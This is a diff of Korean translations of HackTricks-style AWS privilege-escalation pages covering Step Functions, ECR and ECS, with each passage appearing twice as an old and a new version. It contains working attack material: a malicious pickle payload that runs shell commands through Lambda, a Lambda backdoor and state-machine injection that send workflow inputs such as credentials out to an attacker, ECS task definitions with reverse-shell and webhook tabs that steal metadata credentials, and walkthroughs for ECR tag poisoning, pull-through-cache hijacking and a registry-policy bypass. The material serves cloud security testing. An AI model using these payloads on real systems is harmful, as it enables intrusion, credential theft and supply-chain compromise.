`states:StartExecution`는 데이터 플레인 진입점입니다. 상태 머신이 공격자가 제어하는 입력을 위험한 싱크를 포함한 태스크로 전달하면 (예: Lambda가 `pickle.loads(base64.b64decode(payload_b64))`를 수행하는 경우), 상태 머신을 업데이트할 권한이 없어도 때때로 **StartExecution**을 **코드 실행** 및 **비밀 유출**로 전환할 수 있으며, 실행 출력(execution output)을 통해 정보가 유출될 수 있습니다.
|
||||
|
||||
#### 워크플로와 호출된 Lambda 파악
|
||||
|
||||
만약 `states:List*` / `states:Describe*` 권한이 있다면, 상태 머신 정의를 열거하고 읽을 수 있습니다:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
SM_ARN="<state_machine_arn>"
|
||||
|
||||
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
|
||||
```
|
||||
`lambda:GetFunction` 권한도 있다면, Lambda 코드 번들을 다운로드하여 입력이 어떻게 처리되는지 이해하고 (unsafe deserialization이 존재하는지 확인할 수 있습니다):
|
||||
```bash
|
||||
LAMBDA_ARN="<lambda_arn_from_definition>"
|
||||
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
|
||||
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
|
||||
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
|
||||
ls -la /tmp/lambda_code
|
||||
```
|
||||
#### 예제: crafted pickle in execution input (Python)
|
||||
|
||||
Lambda가 공격자가 제어하는 데이터를 unpickles하면, 악성 pickle은 deserialization 중에 코드를 실행할 수 있습니다. Lambda 런타임에서 Python 표현식을 평가하는 예시 payload:
|
||||
```bash
|
||||
PAYLOAD_B64="$(python3 - <<'PY'
|
||||
import base64, pickle
|
||||
|
||||
class P:
|
||||
def __reduce__(self):
|
||||
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
|
||||
return (eval, ("__import__('os').popen('id').read()",))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P())).decode())
|
||||
PY
|
||||
)"
|
||||
|
||||
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
|
||||
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
|
||||
```
|
||||
**영향**: 작업 역할이 가진 권한(Secrets Manager 읽기, S3 쓰기, KMS 복호화 등)은 조작된 입력을 통해 접근 가능해질 수 있으며, 그 결과가 Step Functions 실행 출력에 반환될 수 있습니다.
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
다음 권한을 가진 사용자 또는 역할을 탈취한 공격자는:
|
||||
다음 권한을 가진 사용자 또는 역할을 탈취한 공격자:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -87,23 +129,23 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
]
|
||||
}
|
||||
```
|
||||
...는 Lambda backdooring과 Step Function logic manipulation을 결합하여 **high-impact and stealthy post-exploitation attack**을 수행할 수 있습니다.
|
||||
...Lambda backdooring과 Step Function logic manipulation을 결합하여 **high-impact and stealthy post-exploitation attack**을 수행할 수 있다.
|
||||
|
||||
이 시나리오는 피해자가 **AWS Step Functions를 사용하여 민감한 입력을 처리하는 워크플로우를 오케스트레이션**한다고 가정합니다(예: credentials, tokens, 또는 PII).
|
||||
이 시나리오는 피해자가 **AWS Step Functions로 민감한 입력을 처리하는 워크플로를 오케스트레이션**한다고 가정하며, 여기에는 자격 증명, 토큰 또는 PII와 같은 항목이 포함된다.
|
||||
|
||||
예시 피해자 호출:
|
||||
Example victim invocation:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**:
|
||||
Step Function이 `LegitBusinessLogic` 같은 Lambda를 호출하도록 구성된 경우, 공격자는 **두 가지 은밀한 공격 방식**을 진행할 수 있습니다:
|
||||
|
||||
---
|
||||
|
||||
#### Lambda 함수 업데이트
|
||||
|
||||
attacker는 Step Function (`LegitBusinessLogic`)에서 이미 사용 중인 Lambda 함수의 코드를 수정하여 입력 데이터를 은밀하게 exfiltrate합니다.
|
||||
공격자는 Step Function에서 이미 사용 중인 Lambda 함수(`LegitBusinessLogic`)의 코드를 수정하여 입력 데이터를 은밀하게 exfiltrate합니다.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
@@ -124,7 +166,7 @@ aws lambda update-function-code \
|
||||
|
||||
#### Step Function에 악성 상태 추가
|
||||
|
||||
또는 공격자는 Step Function 정의를 업데이트하여 워크플로우 시작 부분에 **exfiltration state**를 삽입할 수 있다.
|
||||
또는 공격자는 Step Function 정의를 업데이트하여 워크플로우의 시작 부분에 **exfiltration state**를 주입할 수 있다.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
@@ -145,7 +187,7 @@ aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
공격자는 상태 정의를 다음과 같이 더 은밀하게 업데이트할 수 있습니다
|
||||
공격자는 훨씬 더 은밀하게 상태 정의를 다음과 같이 업데이트할 수 있습니다
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
@@ -164,22 +206,22 @@ aws stepfunctions update-state-machine \
|
||||
}
|
||||
}
|
||||
}
|
||||
이렇게 하면 피해자는 차이점을 알아차리지 못할 것입니다.
|
||||
피해자는 차이를 알아차리지 못할 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
### 피해자 설정 (공격 맥락)
|
||||
### 피해자 설정 (Context for Exploit)
|
||||
|
||||
- A Step Function (`LegitStateMachine`)는 민감한 사용자 입력을 처리하는 데 사용됩니다.
|
||||
- `LegitBusinessLogic`와 같은 하나 이상의 Lambda 함수를 호출합니다.
|
||||
- A Step Function (`LegitStateMachine`) is used to process sensitive user input.
|
||||
- It calls one or more Lambda functions such as `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Potential Impact**:
|
||||
- 민감한 데이터(예: secrets, credentials, API keys, PII)의 은밀한 유출.
|
||||
**잠재적 영향**:
|
||||
- 민감한 데이터(예: secrets, credentials, API keys, PII)의 은밀한 exfiltration.
|
||||
- 워크플로우 실행에서 눈에 띄는 오류나 실패가 없음.
|
||||
- Lambda 코드나 실행 트레이스를 감사하지 않으면 탐지하기 어려움.
|
||||
- 백도어가 코드나 ASL 로직에 남아 있으면 장기적인 지속성을 허용함.
|
||||
- Lambda 코드나 실행 추적을 감사하지 않으면 탐지하기 어려움.
|
||||
- backdoor가 코드나 ASL 로직에 남아 있으면 장기적인 persistence가 가능함.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
공격자는 **`ecr:GetAuthorizationToken`** 및 **`ecr:BatchGetImage`** 권한으로 ECR에 로그인하여 이미지를 다운로드할 수 있습니다.
|
||||
**`ecr:GetAuthorizationToken`** 및 **`ecr:BatchGetImage`** 권한을 가진 공격자는 ECR에 로그인하고 이미지를 다운로드할 수 있습니다.
|
||||
|
||||
For more info on how to download images:
|
||||
|
||||
@@ -14,11 +14,21 @@ For more info on how to download images:
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** 트래픽에서 민감한 정보를 가로채어 간접적인 privesc를 초래할 수 있습니다.
|
||||
**Potential Impact:** 트래픽에서 민감한 정보를 가로채 간접적인 privesc를 유발할 수 있습니다.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
이 모든 권한을 가진 공격자는 **ECR에 로그인하여 이미지를 업로드할 수 있습니다**. 이는 해당 이미지가 사용되는 다른 환경에서 권한 상승에 이용될 수 있습니다.
|
||||
위의 모든 권한을 가진 공격자는 **ECR에 로그인하고 이미지를 업로드할 수 있습니다**. 이는 해당 이미지가 사용되는 다른 환경으로 권한을 상승시키는 데 유용할 수 있습니다.
|
||||
|
||||
또한, `ecr:PutImage`는 해당 태그 아래에 다른 이미지 매니페스트를 업로드하여 기존 태그(예: `stable` / `prod`)를 **덮어쓸 수 있습니다**, 결과적으로 태그 기반 배포를 탈취하게 됩니다.
|
||||
|
||||
이것은 다운스트림 소비자들이 태그로 배포하고 태그 변경 시 **자동 갱신**을 하는 경우에 특히 큰 영향을 미칩니다. 예:
|
||||
|
||||
- **Lambda container image functions** (`PackageType=Image`)가 `.../repo:stable`을 참조하는 경우
|
||||
- ECS services / Kubernetes workloads가 `repo:prod`를 풀링하는 경우 (digest pinning 없이)
|
||||
- ECR 이벤트로 재배포되는 모든 CI/CD
|
||||
|
||||
이러한 경우 태그 덮어쓰기는 소비자 환경에서 **원격 코드 실행**으로 이어질 수 있으며, 해당 워크로드에서 사용하는 IAM 역할(예: `secretsmanager:GetSecretValue` 권한이 있는 Lambda 실행 역할)로의 권한 상승을 초래할 수 있습니다.
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
|
||||
@@ -28,18 +38,18 @@ To learn how to upload a new image/update one, check:
|
||||
|
||||
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
|
||||
|
||||
이전 섹션과 동일하지만 공개 리포지토리에 해당합니다.
|
||||
이전 섹션과 동일하지만 public 리포지토리용입니다.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 **리포지토리** **정책**을 변경하여 자신(또는 모든 사용자)에게 **읽기/쓰기 접근**을 부여할 수 있습니다.\
|
||||
예를 들어, 아래 예제에서는 모든 사용자에게 읽기 접근이 허용되어 있습니다.
|
||||
이 권한을 가진 공격자는 **리포지토리** **정책**을 변경하여 자신(또는 모든 사용자)에게 **읽기/쓰기 접근** 권한을 부여할 수 있습니다.\
|
||||
예를 들어, 아래 예제에서는 모든 사용자에게 읽기 권한이 부여되어 있습니다.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
`my-policy.json`의 내용:
|
||||
다음은 `my-policy.json`의 내용입니다:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -59,8 +69,8 @@ aws ecr set-repository-policy \
|
||||
```
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
이전 섹션과 같지만 공개 리포지토리용입니다.\
|
||||
공격자는 ECR Public 리포지토리의 **리포지토리 정책을 수정**하여 승인되지 않은 공개 접근을 허용하거나 권한을 상승시킬 수 있습니다.
|
||||
이전 섹션과 같지만 공개 저장소에 대한 것입니다.\
|
||||
공격자는 ECR Public repository의 **리포지토리 정책을 수정**하여 무단 공개 접근을 허용하거나 권한을 상승시킬 수 있습니다.
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -87,11 +97,11 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**잠재적 영향**: ECR Public 리포지토리에 무단 공개 접근이 허용되어 누구나 이미지를 push, pull 또는 삭제할 수 있습니다.
|
||||
**잠재적 영향**: ECR Public 리포지토리에 대한 무단 공개 접근을 허용하여, 모든 사용자가 이미지를 push, pull 또는 삭제할 수 있습니다.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 **레지스트리 정책**을 **변경**하여 자신 또는 자신의 계정(또는 모든 사용자)에게 **읽기/쓰기 액세스**를 부여할 수 있습니다.
|
||||
이 권한을 가진 공격자는 **레지스트리 정책**을 **변경**하여 자신이나 자신의 계정(또는 심지어 모든 사용자)에게 **읽기/쓰기 권한**을 부여할 수 있습니다.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
@@ -99,40 +109,40 @@ aws ecr set-repository-policy \
|
||||
```
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
공격자가 제어하는 upstream 네임스페이스를 신뢰된 private ECR 접두사로 매핑하기 위해 ECR Pull Through Cache (PTC) 규칙을 악용합니다. 이렇게 하면 private ECR에 이미지를 푸시하지 않아도 private ECR에서 이미지를 당겨오는 워크로드가 투명하게 공격자 이미지를 받게 됩니다.
|
||||
ECR Pull Through Cache (PTC) 규칙을 악용해 공격자가 제어하는 upstream 네임스페이스를 신뢰되는 private ECR 접두사로 매핑할 수 있습니다. 이렇게 하면 private ECR에 이미지를 푸시하지 않고도 private ECR에서 이미지를 가져오는 워크로드가 투명하게 공격자 이미지로 대체됩니다.
|
||||
|
||||
- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
|
||||
- Tested upstream: public.ecr.aws
|
||||
- 필요 권한: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. ECR Public upstream을 사용할 경우: public 레포지토리 생성/푸시를 위해 ecr-public:*.
|
||||
- 테스트된 upstream: public.ecr.aws
|
||||
|
||||
Steps (example):
|
||||
단계(예시):
|
||||
|
||||
1. Prepare attacker image in ECR Public
|
||||
1. ECR Public에 공격자 이미지 준비
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
|
||||
2. 신뢰되는 접두사를 public registry에 매핑하도록 private ECR에 PTC 규칙 생성
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. Pull the attacker image via the private ECR path (no push to private ECR was done)
|
||||
3. private ECR 경로를 통해 공격자 이미지 pull (private ECR로는 아무런 push를 하지 않음)
|
||||
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.
|
||||
잠재적 영향: 선택한 접두사 아래의 내부 이미지 이름을 탈취하여 공급망 침해를 일으킬 수 있습니다. 해당 접두사를 사용해 private ECR에서 이미지를 가져오는 모든 워크로드는 공격자가 제어하는 콘텐츠를 받게 됩니다.
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
이 권한을 악용하여 tag immutability가 설정된 리포지토리를 mutable로 전환하고 trusted 태그(예: latest, stable, prod)를 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다.
|
||||
이 권한을 악용하면 태그 불변 설정(tag immutability)이 있는 리포지토리를 mutable로 전환하고 신뢰된 태그(예: latest, stable, prod)를 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다.
|
||||
|
||||
- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.
|
||||
- 필요 권한: `ecr:PutImageTagMutability` 및 푸시 권한(`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- 영향: 태그 이름을 변경하지 않고도 불변 태그를 은밀히 교체하여 공급망 침해를 초래할 수 있습니다.
|
||||
|
||||
Steps (example):
|
||||
단계(예시):
|
||||
|
||||
<details>
|
||||
<summary>mutability를 토글하여 immutable 태그를 오염시키기</summary>
|
||||
<summary>mutability 전환으로 불변 태그를 오염시키기</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO=ht-immutable-demo-$RANDOM
|
||||
@@ -152,14 +162,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### 글로벌 레지스트리 hijack via ROOT Pull-Through Cache rule
|
||||
#### ROOT Pull-Through Cache 규칙을 통한 글로벌 레지스트리 하이재킹
|
||||
|
||||
특수한 `ecrRepositoryPrefix=ROOT`를 사용해 Pull-Through Cache (PTC) 규칙을 생성하여 private ECR 레지스트리의 루트를 upstream public registry(예: ECR Public)에 매핑합니다. private 레지스트리에 존재하지 않는 리포지토리에 대한 모든 pull은 투명하게 upstream에서 제공되며, private ECR에 이미지를 push하지 않고도 supply-chain hijacking을 가능하게 합니다.
|
||||
특수한 `ecrRepositoryPrefix=ROOT`를 사용해 Pull-Through Cache (PTC) 규칙을 생성하여 private ECR 레지스트리의 루트를 upstream public registry(예: ECR Public)에 매핑할 수 있습니다. private 레지스트리에 존재하지 않는 리포지토리에 대한 모든 pull은 upstream에서 투명하게 제공되어, private ECR에 이미지를 push하지 않고도 supply-chain hijacking이 가능합니다.
|
||||
|
||||
- 필요 권한: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- 영향: `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>`로의 pull이 성공하며 upstream에서 소싱된 private 리포지토리가 자동 생성됩니다.
|
||||
- 영향: `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>`로의 pull이 성공하고 upstream에서 소싱된 private repo가 자동으로 생성됩니다.
|
||||
|
||||
> 참고: `ROOT` 규칙의 경우 `--upstream-repository-prefix`를 생략하세요. 이를 제공하면 validation error가 발생합니다.
|
||||
> 참고: `ROOT` 규칙의 경우 `--upstream-repository-prefix`를 생략하세요. 지정하면 검증 오류가 발생합니다.
|
||||
|
||||
<details>
|
||||
<summary>데모 (us-east-1, upstream public.ecr.aws)</summary>
|
||||
@@ -191,17 +201,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting` (레지스트리 정책의 Deny를 우회하기 위해 `REGISTRY_POLICY_SCOPE`를 다운그레이드)
|
||||
### `ecr:PutAccountSetting` (`REGISTRY_POLICY_SCOPE`를 다운그레이드하여 registry policy Deny 우회)
|
||||
|
||||
`ecr:PutAccountSetting`을(를) 악용하여 레지스트리 정책 스코프를 `V2`(모든 ECR 액션에 적용되는 정책)에서 `V1`(`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`에만 적용되는 정책)으로 전환합니다. 제한적인 레지스트리 정책의 Deny가 `CreatePullThroughCacheRule` 같은 액션을 차단하는 경우, `V1`로 다운그레이드하면 해당 강제 적용이 제거되어 identity‑policy의 Allows가 적용됩니다.
|
||||
`ecr:PutAccountSetting`을 악용하여 레지스트리 정책 범위를 `V2`(모든 ECR 작업에 적용되는 정책)에서 `V1`(`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`에만 적용되는 정책)로 전환합니다. 제한적인 레지스트리 정책의 Deny가 `CreatePullThroughCacheRule` 같은 작업을 차단하는 경우, `V1`로 다운그레이드하면 해당 강제력이 제거되어 identity‑policy의 Allows가 적용됩니다.
|
||||
|
||||
- 필요 권한: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- 영향: 레지스트리 정책의 Deny로 이전에 차단되었던 ECR 작업(예: PTC rules)을 스코프를 일시적으로 `V1`로 설정해 수행할 수 있음.
|
||||
- 영향: 레지스트리 정책 Deny 때문에 이전에 차단되었던 ECR 작업(예: PTC 규칙 생성)을 일시적으로 `V1`로 설정해 수행할 수 있음.
|
||||
|
||||
Steps (example):
|
||||
단계(예시):
|
||||
|
||||
<details>
|
||||
<summary>CreatePullThroughCacheRule에 대한 레지스트리 정책 Deny를 `V1`로 전환하여 우회</summary>
|
||||
<summary>`CreatePullThroughCacheRule`에서 registry policy Deny를 V1로 전환하여 우회</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
ECS에 대한 **추가 정보**는 다음에서 확인하세요:
|
||||
ECS에 대한 더 많은 **정보**는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ ECS에 대한 **추가 정보**는 다음에서 확인하세요:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 메타데이터 자격증명을 탈취하는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고 이를 **실행**할 수 있습니다.
|
||||
ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` 권한을 악용하는 공격자는 메타데이터 자격증명을 훔치는 **악성 컨테이너**를 포함하는 새로운 task definition을 **생성**하고 **실행**할 수 있습니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
webhook.site 같은 사이트에서 webhook을 생성하세요.
|
||||
webhook.site 같은 사이트로 webhook을 생성하세요
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** 다른 ECS role로의 직접적인 privesc.
|
||||
**Potential Impact:** 다른 ECS 역할로의 직접적인 privesc.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
`iam:PassRole` 및 `ecs:RunTask` 권한을 가진 공격자는 수정된 **execution role**, **task role** 및 컨테이너의 **command** 값을 사용하여 새로운 ECS task를 시작할 수 있습니다. `ecs run-task` CLI 명령에는 `--overrides` 플래그가 있어 task definition을 건드리지 않고도 실행 시점에 `executionRoleArn`, `taskRoleArn` 및 컨테이너의 `command`를 변경할 수 있습니다.
|
||||
`iam:PassRole` 및 `ecs:RunTask` 권한을 가진 공격자는 **execution role**, **task role** 및 컨테이너의 **command** 값을 변경하여 새로운 ECS task를 시작할 수 있습니다. `ecs run-task` CLI 명령은 `--overrides` 플래그를 포함하며, 이를 통해 task definition을 수정하지 않고 런타임에 `executionRoleArn`, `taskRoleArn` 및 컨테이너의 `command`를 변경할 수 있습니다.
|
||||
|
||||
지정된 IAM 역할(`taskRoleArn` 및 `executionRoleArn`)은 신뢰 정책에서 `ecs-tasks.amazonaws.com`이 해당 역할을 assume할 수 있도록 설정되어 있어야 합니다.
|
||||
`taskRoleArn` 및 `executionRoleArn`으로 지정된 IAM 역할은 신뢰 정책에서 `ecs-tasks.amazonaws.com`이 해당 역할을 assume할 수 있도록 허용/신뢰되어야 합니다.
|
||||
|
||||
또한, 공격자는 다음을 알아야 합니다:
|
||||
또한 공격자는 다음을 알고 있어야 합니다:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (security group이 명시되지 않으면 기본 security group이 사용됩니다)
|
||||
- Security group (지정하지 않으면 기본 Security group이 사용됩니다)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
위 코드 스니펫에서는 attacker가 `taskRoleArn` 값만 재정의합니다. 다만 공격이 성립하려면 attacker는 명령에 지정된 `taskRoleArn`과 태스크 정의에 지정된 `executionRoleArn`에 대해 `iam:PassRole` 권한을 보유해야 합니다.
|
||||
위 코드 스니펫에서 attacker는 `taskRoleArn` 값만 덮어씁니다. 그러나 attack이 발생하려면 attacker는 명령에 지정된 `taskRoleArn`과 태스크 정의에 지정된 `executionRoleArn`에 대해 `iam:PassRole` 권한을 가지고 있어야 합니다.
|
||||
|
||||
attacker가 전달할 수 있는 IAM role이 ECR 이미지 풀과 ECS 태스크 시작에 필요한 권한들(`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`)을 충분히 가지고 있다면, attacker는 `ecs run-task` 명령에서 `executionRoleArn`과 `taskRoleArn`에 동일한 IAM role을 지정할 수 있습니다.
|
||||
attacker가 전달할 수 있는 IAM 역할이 ECR 이미지를 가져오고 ECS 태스크를 시작할 수 있는 충분한 권한(`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`)을 가지고 있다면, attacker는 `ecs run-task` 명령에서 `executionRoleArn`과 `taskRoleArn`에 동일한 IAM 역할을 지정할 수 있습니다.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potential Impact:** 모든 ECS task role에 대한 직접적인 privesc.
|
||||
**잠재적 영향:** 모든 ECS task role에 대한 직접적인 privesc.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
앞선 예와 마찬가지로 공격자는 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 권한을 악용해 메타데이터 자격 증명을 훔치는 **악성 컨테이너**를 포함한 **새 task definition을 생성**하고 이를 **실행**할 수 있습니다.\
|
||||
다만 이 경우, 악성 task definition을 실행할 container instance가 필요합니다.
|
||||
앞선 예와 마찬가지로, 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 권한을 악용하면 **새로운 task definition을 생성**하여 메타데이터 자격 증명을 탈취하는 **악성 컨테이너**를 포함시키고 이를 **실행**할 수 있다.\
|
||||
하지만 이 경우에는 악성 task definition을 실행할 컨테이너 인스턴스가 필요하다.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potential Impact:** 모든 ECS role에 대한 직접 privesc.
|
||||
**Potential Impact:** 어떤 ECS role에 대한 직접적인 privesc.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
이전 예제와 마찬가지로, ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하는 공격자는 메타데이터 자격 증명을 훔치는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고, 최소 1개의 task가 실행되는 새 서비스를 생성하여 **이를 실행할 수 있습니다.**
|
||||
앞의 예와 마찬가지로, 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하면, **generate a new task definition**으로 **malicious container**를 포함시켜 **metadata credentials**를 훔치고, **run it by creating a new service with at least 1 task running.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
